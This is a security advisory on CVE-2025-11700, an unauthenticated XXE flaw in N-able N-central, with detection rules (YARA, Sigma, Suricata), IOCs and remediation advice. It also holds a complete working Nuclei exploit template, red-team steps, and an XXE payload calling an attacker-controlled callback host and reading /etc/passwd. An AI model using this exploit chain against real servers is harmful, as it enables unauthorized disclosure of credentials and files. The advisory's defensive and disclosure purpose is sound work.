CVE-2025-11700

Executive Summary

CVE-2025-11700 is a critical XML External Entities (XXE) injection vulnerability affecting N-able N-central versions prior to 2025.4. The vulnerability allows an unauthenticated attacker to perform out-of-band (OOB) XXE attacks, leading to information disclosure of sensitive files on the server. The attack chain leverages multiple SOAP endpoints to first establish a session, then submit a malicious XML payload via the applianceLogSubmit method, and finally trigger the XXE by importing a service template from the log file. A public proof-of-concept (PoC) exploit and a Nuclei template are available, confirming the vulnerability is actively exploitable. No patch details beyond upgrading to version 2025.4 have been provided.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise remote monitoring and management (RMM) platform. Supply chain risk is limited to the software vendor's distribution channels.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics (unauthenticated, remote, information disclosure), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Score: 7.5 (High)

Threat Level: High. The vulnerability is trivial to exploit with publicly available tooling, requires no authentication, and can lead to the disclosure of sensitive configuration files, credentials, or other data stored on the N-central server.

Deep Dive & Mechanics

The vulnerability resides in the XML parsing logic of N-central's SOAP web services. The attack exploits three distinct endpoints in sequence:

1. Session Establishment (/dms/services/ServerUI): The attacker sends a sessionHello SOAP request to obtain a valid session ID. This step is required because subsequent authenticated endpoints are used.

2. Payload Injection (/dms/services/ServerMMS): The attacker uses the applianceLogSubmit method to submit a base64-encoded XML payload containing an XXE entity that references an attacker-controlled server (e.g., http://{{interactsh-url}}). The payload is written to a log file on the server at /opt/nable/webapps/ROOT/applianceLog/network_check_log_3.log.

3. Triggering the XXE (/dms/services/ServerUI): The attacker calls importServiceTemplateFromFile with the path to the log file. The server parses the log file as XML, which triggers the external entity definition. The server then makes an outbound HTTP request to the attacker's server, confirming the XXE is successful.

The core issue is that the server does not disable external entity processing when parsing XML files. By using an OOB technique, the attacker can exfiltrate data by including file-reading entities (e.g., <!ENTITY % file SYSTEM "file:///etc/passwd">) and then referencing that entity in the URL to the attacker's server.

Vulnerable vs. Patched Code

No specific code diff is available. The patch likely involves disabling DTD processing or external entity resolution in the XML parser used by the SOAP endpoints. A typical fix would be to set the following properties on the XML parser:

// Vulnerable code (pseudo)
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlInput)));

// Patched code (pseudo)
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlInput)));

Exploitation & Lab Setup

Red Team

Prerequisites:

• An interactsh server or a public listener (e.g., Burp Collaborator, webhook.site) to capture outbound requests.
• Python 3 with requests library.

Exploit Steps:

1. Set up a listener to capture HTTP/DNS callbacks (e.g., interactsh-client).
2. Run the public PoC script from Horizon3.ai (available at the GitHub reference in the Nuclei template).
3. The script will:
   • Obtain a session ID.
   • Submit the XXE payload with the interactsh URL.
   • Trigger the XXE by importing the log file.
4. Observe the callback on your listener, confirming the XXE.

Manual Exploit (using Nuclei):

The provided Nuclei template can be used directly with the nuclei tool:

nuclei -t CVE-2025-11700.yaml -u https://target-ncentral-server -interactsh-url your-interactsh-url

Exploit-DB Code: None available.

Blue Team

Detection Steps:

1. Monitor SOAP Endpoints: Look for unusual sequences of requests to /dms/services/ServerUI and /dms/services/ServerMMS from the same source IP within a short time window.
2. Inspect XML Payloads: Decode base64-encoded contents parameters in applianceLogSubmit requests. Look for <!DOCTYPE, <!ENTITY, or SYSTEM declarations.
3. Check Log Files: Examine /opt/nable/webapps/ROOT/applianceLog/network_check_log_3.log for XML content that does not match expected log formats.
4. Network Egress Monitoring: Alert on outbound HTTP/DNS requests from the N-central server to unknown or suspicious external domains, especially those initiated by the Java process.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /dms/services/ServerMMS with a base64-encoded contents parameter containing XML entity definitions.
  • POST requests to /dms/services/ServerUI with importServiceTemplateFromFile action and a file path pointing to /opt/nable/webapps/ROOT/applianceLog/network_check_log_3.log.
  • Outbound HTTP/DNS requests from the N-central server to attacker-controlled domains (e.g., *.interactsh.com, *.burpcollaborator.net).

• File IOCs:

  • Log file at /opt/nable/webapps/ROOT/applianceLog/network_check_log_3.log containing XML markup (e.g., <?xml, <!DOCTYPE, <servicetemplate>).

• Process IOCs:

  • Java process (Tomcat) making unexpected outbound connections.

Detection Engineering

YARA Rule

rule CVE_2025_11700_XXE_Payload {
    meta:
        description = "Detects XXE payloads targeting N-central CVE-2025-11700"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11700"
    strings:
        $xml_decl = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
        $doctype = "<!DOCTYPE servicetemplate ["
        $entity = "<!ENTITY % xxe SYSTEM \"http://"
        $entity2 = "<!ENTITY % xxe SYSTEM \"https://"
        $entity3 = "<!ENTITY % file SYSTEM \"file:///"
        $servicetemplate = "<servicetemplate syntaxversion=\"2.1.0.0\">"
    condition:
        all of ($xml_decl, $doctype, $entity or $entity2 or $entity3, $servicetemplate)
}

Sigma Rule

title: N-central XXE Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2025-11700 via SOAP requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: n-central
detection:
    selection1:
        cs-method: 'POST'
        cs-uri-stem: '/dms/services/ServerMMS'
        cs-uri-query: '*applianceLogSubmit*'
    selection2:
        cs-method: 'POST'
        cs-uri-stem: '/dms/services/ServerUI'
        cs-uri-query: '*importServiceTemplateFromFile*'
    condition: selection1 followed by selection2 within 5 seconds
falsepositives:
    - Legitimate log submissions and template imports (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11700 N-central XXE Outbound Callback"; flow:to_server,established; content:"POST"; http_method; content:"/dms/services/ServerUI"; http_uri; content:"importServiceTemplateFromFile"; http_client_body; pcre:"/file:\/\/\//"; sid:1000001; rev:1;)

Nuclei Template (Full)

id: CVE-2025-11700

info:
  name: N-central - XML External Entities Injection
  author: DhiyaneshDK,horizon3ai
  severity: high
  description: |
    N-central versions < 2025.4 are vulnerable to an XML External Entities injection leading to information disclosure.
  impact: |
    Attackers can disclose sensitive information by exploiting XML External Entities injection.
  remediation: |
    Update to version 2025.4 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11700
    - https://github.com/horizon3ai/n-able_n-central_xxe_file_read/blob/main/ncentral_xxe_file_read.py
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.title:"N-central Login"
  tags: cve,cve2025,n-central,xxe,oast,oob,vkev

flow: http(1) && http(2) && http(3)

variables:
  rand: "{{to_lower(rand_text_alpha(10))}}"
  xxe_payload: |-
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE servicetemplate [
    <!ENTITY % xxe SYSTEM "http://{{interactsh-url}}">
    %xxe;
    ]>
    <servicetemplate syntaxversion="2.1.0.0">
      <name>{{rand}}</name>
    </servicetemplate>

http:
  - raw:
      - |
        POST /dms/services/ServerUI HTTP/2
        Host: {{Hostname}}
        Content-Type: text/xml
        Soapaction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Body>
            <sessionHello>
              <applianceID>3</applianceID>
            </sessionHello>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - SessionID
          - sessionHelloResponse
        condition: and
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        part: body
        name: sessionid
        group: 1
        regex:
          - '<SessionID[^>]*>(\d+)</SessionID>'
          - '<sessionId>(\d+)</sessionId>'
          - '<sessionID>(\d+)</sessionID>'
        internal: true

  - raw:
      - |
        POST /dms/services/ServerMMS HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml; charset=utf-8

        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
          <soapenv:Header/>
          <soapenv:Body>
            <ns1:applianceLogSubmit xmlns:ns1="http://www.n-able.com/mickey">
              <sessionID>{{sessionid}}</sessionID>
              <logType>NETWORK_CHECK_LOG</logType>
              <contents>{{base64(xxe_payload)}}</contents>
            </ns1:applianceLogSubmit>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - Ok
          - Msg
        condition: and
        internal: true

  - raw:
      - |
        POST /dms/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml; charset=utf-8

        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
          <soapenv:Header/>
          <soapenv:Body>
            <ns1:importServiceTemplateFromFile xmlns:ns1="http://www.n-able.com/mickey">
              <ns1:sessionId>{{sessionid}}</ns1:sessionId>
              <ns1:customerId>1</ns1:customerId>
              <ns1:filePath>/opt/nable/webapps/ROOT/applianceLog/network_check_log_3.log</ns1:filePath>
            </ns1:importServiceTemplateFromFile>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update N-central to version 2025.4 or later as soon as possible. This is the only official fix.
2. Network Segmentation: If immediate patching is not possible, restrict outbound HTTP/DNS access from the N-central server to only trusted destinations. Use a firewall or egress proxy to block connections to unknown external hosts.
3. Web Application Firewall (WAF): Deploy a WAF rule to inspect SOAP requests for XXE patterns (e.g., <!DOCTYPE, <!ENTITY, SYSTEM). Block requests containing these patterns in the contents parameter of applianceLogSubmit.
4. Monitor Logs: Actively monitor the log file /opt/nable/webapps/ROOT/applianceLog/network_check_log_3.log for any XML content. Set up alerts for any writes to this file that contain XML markup.

Long-Term Mitigations:

• Implement strict input validation and sanitization for all XML inputs.
• Disable DTD processing and external entity resolution in the XML parser configuration.
• Conduct a security audit of all SOAP endpoints to identify similar vulnerabilities.
• Implement a robust patch management process to ensure timely updates.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: FBA684DD0F78E1D26B018B0E] */}